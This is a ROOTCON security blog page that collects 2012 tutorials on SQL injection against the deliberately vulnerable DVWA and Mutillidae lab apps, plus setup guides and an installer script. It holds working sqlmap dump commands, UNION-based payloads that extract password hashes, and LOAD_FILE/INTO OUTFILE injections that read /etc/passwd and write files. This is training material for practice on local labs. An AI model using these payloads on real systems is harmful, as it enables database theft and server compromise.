ROOTCON Blog: SQL Injection

Showing posts with label SQL Injection. Show all posts

Saturday, April 07, 2012

Dumping Like a Boss - sqlmap 101

Posted by Shipcode at 7.4.12 Labels: accounts, credit_cards, database takeover, dumping in sqlmap, SQL Injection, sqlmap tutorial, tools 101

SQLmap is one of the most common used tools for web application penetration testing because it is open source and automates an sql injection attacks which also allows you to spawn a shell. It has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB DBMS/ Database Management System. It is also coded in python.

To check all the attributes and options for this tool type sqlmap -h on your terminal.

Suppose we have a vulnerable link after checking it, we append URL target with --dbs to check for the databases:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' --dbs

After that we should be able to see the back-end DBMS, web server, and most importantly the databases.

Databases enumerated:

[*] dvwa
[*] information_schema
[*] mysql
[*] owasp10

Now let's check all the tables for the owasp10 database. This is the database for the Mutillidae Web Application.

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 --tables

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 -T accounts --dump

Right, we got columns cid, mysignature, password and username =)

Similar query: Select * from accounts;

Now's let's try dumping the credit_cards table:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 -T credit_cards --dump

Similar query: Select * from credit_cards;

Well, that should be it! I hope you were able to understand how to use sqlmap to dump the tables of a certain database.

About the Contributor:

Shipcode is a prolific blogger of ROOTCON and at the same time an InfoSec enthusiast from Cebu. He was inspired to join ROOTCON as part of the core team to share his knowledge in information security. He encourages other like minded individuals to come forward and share their knowledge through blogging right here at ROOTCON Blog section.

SQL Injection Cheat Sheet for Damn Web Vulnerable Application

Posted by Shipcode at 29.3.12 Labels: database, DVWA, dvwa tutorial, hacking cheat sheet, manual sqli, MySQL, mysqli, SQL Injection, web pentesting

Damn Web Vulnerable Application or DVWA is one of my favorite web applications for website penetration testing and web attacking. It is easier for the learner to attack the web application because there is a View Source and View Help command button on . It gives a hint on the pentester some tips about the web application just like the actual SQL Query command.

In this paper, I will give some tips on how SQL Injection is done in order to get the usernames and passwords in the database that DVWA is using. We will attack the web application using manual sql queries and without the use of automated tools like sqlmap, sqlninja, mole, etc. because the best way to learn web penetration testing is to do it manually but let me not discourage you in not using tools too because tools can be of great help.

So now let's start, this is the vulnerable web page for SQL Injection:

Now let's try to put a value on the User ID Field and see what happens.

User ID: 1

Right, the results is:

ID: 1
First name: admin
Surname: admin

It pulled out the first_name and the surname of the User ID number 1. Thus if we put another value like 2 it should give another result. The actual SQL query:

SELECT first_name, last_name FROM users WHERE user_id ='1';

That's why it pulled the columns first_name and last_name from the table user whose user_id is 1.

Now let's try to put a single quote / ' after user_id "1" to check how the web application reacts and to check how it handles quotes.

Yey, it is exploitable because after single quote is also detected by the web application as an SQL query.

Now time to find the number of columns in the database by using the the ORDER BY syntax and increment the number by 1 until the application gives an error. We use a comment character / # at the end or you may use the comment sequence / -- - to close the query after the single quote. :)

1' order by 1 #

1' order by 2 #

1' order by 3 # > error

From what you can see from the image above, it returns an error after the statement SELECT first_name, last_name FROM users WHERE user_id ='1' order by 3 # because column 3 doesn't exist thus there are only two columns that we can use.

Now let's use the Union Select Statement:

1' union select 1,2 #

Now from the image above, you can see that in the First Name and Surname output, you can see two numbers; 1 and 2. Yeah the page is a bit messed up and in some websites only numbers will start appearing on the page.

These numbers are the column numbers we can get information from. We will replace them with statements later on. In fact you can replace the values of the two numbers that are identical to the numbers you inputted on the union select. Take for example finding the mysql version:

1' union select @@version,2 #

1' union select version(),2 #

Hello version 5.1.41!

Now let's find the tables in the database:

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #

Boooom! The users table should contain good information :))

Now let's try to check the all the columns in the database:

1' union select group_concat(column_name),2 from information_schema.columns where table_schema=database() #

Did I just see column_names user and password? Yeah, we could then use that column names.

Now it's time to pawn the users table:

1' union select user,password from users #

Thus, the next thing that an attacker should do is to crack the hashed passwords of users admin, gordonb, 1337, pablo and smith.

Find the current database user and pawn him

Now let's find the current database user of this web application:

1' union select user(),2 #

1' union select system_user(),2 #

Hey it's running root, if that's the case then I can list hashed passwords for mysql.user:

1' union select user,password from mysql.user #

Very risky isn't it? That is why you should fix your codes like using mysql_real_escape_string, clean URLs, web application firewall, parameterized queries and array_map.

Check out my previous article too which is also a cheat sheet for DVWA:

SQL Injection using MySQL Load File and Into Outfile

About the Contributor:

SQL Injection Using MySQL LOAD_FILE() and INTO OUTFILE()

Posted by Shipcode at 24.3.12 Labels: directory traversal, INTO OUTFILE(), load_file INTO OUTFILE, LOAD_FILE(), MySQL, SQL Injection, sqli, squelee, web app, web pentesting, website defacing

SQL injection is one of the most chronic threats in websites today. There are many kinds of SQL injection techniques like the use of union statements, order by statements, LOAD_FILE(), INTO OUTFILE(), INFORMATION_SCHEMA, Char(), CAST(), and LIMIT. Most attackers are just into using the union statements, information_schema and order by statements and neglecting some of the techniques just for the sake of getting the username and the password of the website administrator. Just like this:

' union select 1,username,password,4 from users -- -

But just because some attackers don't use the other techniques doesn't mean you are safe from other attackers. All right let's get to the point, in this article let's discuss about the some possible things we can by using the LOAD_FILE() and INTO OUTFILE() functions partnered with union select statements.

MySQL LOAD_FILE() reads the file and returns the file contents as a string.

SYNTAX : LOAD_FILE(file_name) /* file_name should be a name of a file appended with a path. */

Ohw wait?! Path? Yes you read me right! In that case an attacker could possibly do a directory traversal just like the Local File Inclusion (LFI) attack.

Suppose we found out the number of columns, then we should execute the union select query together with the syntax of the LOAD_FILE() function to achieve the attack vector. In this example we are

' union select 1,load_file('/etc/passwd'),3,4 -- -

Thus, its is very dangerous because if an attacker gets to see the encrypted actual passwords of a user's account under /etc/shadow because he /she may try to crack it. For the detailed information about directory traversal, you can check out my previous article about Local File Inclusion 101.

Next up, the INTO OUTFILE () Function. By using this kind of function, it allows attacker to create a file on a specified path after the syntax INTO OUTFILE '.

Take for example this:

' union select 1,'shipcode was here',3,4 into outfile '/tmp/lol.txt' -- -

' union select null,'shipcode was here',null,null into outfile '/tmp/lolz.txt' -- -

So in case /var/www/ is writable then the attacker should be able to append a PHP system call into an injection, and writes the query into an outfile.

About the Contributor:

Setting Up Mutillidae on BackTrack 5 for Practicing your Web Fu Skills

Posted by Shipcode at 4.3.12 Labels: authentication bypass, clickjacking, cross frame scripting, cross-site scripting, forms-caching, html injection, javascript injection, owasp, response-splitting, SQL Injection, web pentest

Mutillidae is another free and open source web application for website penetration testing and hacking which was developed by Adrian "Irongeek" Crenshaw and Jeremy Druin. It is designed to be exploitable for it contains vulnerabilities and hints to help a user exploit a certain vulnerability. Ideal for practicing your Web Fu skills like sql injection, cross site scripting, html injection, javascript injection, clickjacking, local file inclusion, authentication bypass methods, remote code execution and many more.

And so for newbies out there. I decided to write a simple guide on how to setup this web application in BackTrack 5. Open your terminal and move to the /var/www where we will be installing the web application: cd /var/www

Download the zip file and extract it:

wget http://www.irongeek.com/mutillidae/mutillidae1.5.zip

unzip mutillidae1.5.zip

Edit the config.inc:

cd mutillidae

gedit config.inc

By default the value $dbpass is left blank so we need to put toor which is the default password of BackTrack for connecting to your mysql.

You can also edit the set-up-database.php file so that you can choose what tables, columns and values are to be created or inserted for your database but you can just leave it for the time being. ;)

Now we need to start the necessary services for the web application to run:

service apache2 start
service mysql start

Then open your web browser and point it to 127.0.0.1/mutillidae/ or localhost/mutillidae/.

Next, let's have application setup the database automatically by clicking Core Controls > Setup/Reset the DB at the left side or Setup/Reset the DB at the upperight corner.

The link takes you to 127.0.0.1/mutillidae/set-up-database.php.

If you see no errors then you are ready to play with Mutillidae. You should be able to see the values of accounts table by using basic sql injection to 127.0.0.1/mutillidae/index.php?page=user-info.php.

Enjoy playing with it :)

localfileinclusion/></a></div>
<br /></div>
<div style=

remotecode+execution/></a></div>
<div class=

About the Contributor:

Damn Vulnerable Web App Installer Shell Script

Posted by Shipcode at 27.2.12 Labels: Command Execution, cross site scripting, CSRF, Damn Vulnerable Web App, DVWA, File Inlcusion, shell script, SQL Injection, Travis Phillips, web application, XSS

Hey guys, shipcode here once again :)

Today I'm gonna share to you an installer shell script for Damn Vulnerable Web App (DVWA) which was coded by Travis Phillips.

DVWA is cool web application for testing your skills in web penetration testing and your knowledge in manual SQL Injection, XSS, Blind SQL Injection, etc.

    #/bin/bash
    echo -e "\n#######################################"
    echo -e "# Damn Vulnerable Web App Installer Script #"
    echo -e "#######################################"
    echo " Coded By: Travis Phillips"
    echo " Website: http://theunl33t.blogspot.com"
    echo -e -n "\n[*] Changing directory to /var/www..."
    cd /var/www > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Removing default index.html..."
    rm index.html > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Changing to Temp Directory..."
    cd /tmp
    echo -e "Done!\n"


    echo "[*] Downloading DVWA..."
    wget http://voxel.dl.sourceforge.net/project/dvwa/DVWA-1.0.7.zip
    echo -e "Done!\n"


    echo -n "[*] Unzipping DVWA..."
    unzip DVWA-1.0.7.zip > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Deleting the zip file..."
    rm DVWA-1.0.7.zip > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Copying dvwa to root of Web Directory..."
    cp -R dvwa/* /var/www > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Clearing Temp Directory..."
    rm -R dvwa > /dev/null
    echo -e "Done!\n"


    echo -n "[*] Enabling Remote include in php.ini..."
    cp /etc/php5/apache2/php.ini /etc/php5/apache2/php.ini1
    sed -e 's/allow_url_include = Off/allow_url_include = On/' /etc/php5/apache2/php.ini1 > /etc/php5/apache2/php.ini
    rm /etc/php5/apache2/php.ini1
    echo -e "Done!\n"


    echo -n "[*] Enabling write permissions to /var/www/hackable/upload..."
    chmod 777 /var/www/hackable/uploads/
    echo -e "Done!\n"


    echo -n "[*] Starting Web Service..."
    service apache2 start &> /dev/null
    echo -e "Done!\n"


    echo -n "[*] Starting MySQL..."
    service mysql start &> /dev/null
    echo -e "Done!\n"


    echo -n "[*] Updating Config File..."
    cp /var/www/config/config.inc.php /var/www/config/config.inc.php1
    sed -e 's/'\'\''/'\''toor'\''/' /var/www/config/config.inc.php1 > /var/www/config/config.inc.php
    rm /var/www/config/config.inc.php1
    echo -e "Done!\n"


    echo -n "[*] Updating Database..."
    wget --post-data "create_db=Create / Reset Database" http://127.0.0.1/setup.php &> /dev/null
    mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/gordonb.jpg" where user = "gordonb";'
    mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/smithy.jpg" where user = "smithy";'
    mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/admin.jpg" where user = "admin";'
    mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/pablo.jpg" where user = "pablo";'
    mysql -u root --password='toor' -e 'update dvwa.users set avatar = "/hackable/users/1337.jpg" where user = "1337";'
    echo -e "Done!\n"


    echo -e -n "[*] Starting Firefox to DVWA\nUserName: admin\nPassword: password"
    firefox http://127.0.0.1/login.php &> /dev/null &
    echo -e "\nDone!\n"
    echo -e "[\033[1;32m*\033[1;37m] DVWA Install Finished!\n"

So what you are going to do is to save it to whatever.sh. Make it into an executable script: chmod +x whatever.sh. Then to install it just execute the file : ./whatever.sh.

Take note that every time you want to launch this web application is that you need to start the services apache2 and mysql:

service apache2 start
service mysql start

You can now acess this web application from your localhost ;)

About the Contributor:

Shipcode
 is a prolific blogger of ROOTCON and at the same time an InfoSec 
enthusiast from Cebu. He was inspired to join ROOTCON as part of the 
core team to share his knowledge in information security.  He encourages
 other like minded individuals to come forward and share their knowledge
 through blogging right here at ROOTCON Blog section.


ROOTCON
 is managed by like minded InfoSec professionals across the Philippines.
  All rights reserved. Designated trademarks, brands and articles are 
the property of their respective owners.

ROOTCON Blog

Saturday, April 07, 2012

Dumping Like a Boss - sqlmap 101

Thursday, March 29, 2012

SQL Injection Cheat Sheet for Damn Web Vulnerable Application

Saturday, March 24, 2012

SQL Injection Using MySQL LOAD_FILE() and INTO OUTFILE()

Sunday, March 04, 2012

Setting Up Mutillidae on BackTrack 5 for Practicing your Web Fu Skills

Monday, February 27, 2012

Damn Vulnerable Web App Installer Shell Script

Popular Posts

Tags

Pages

Blog Archive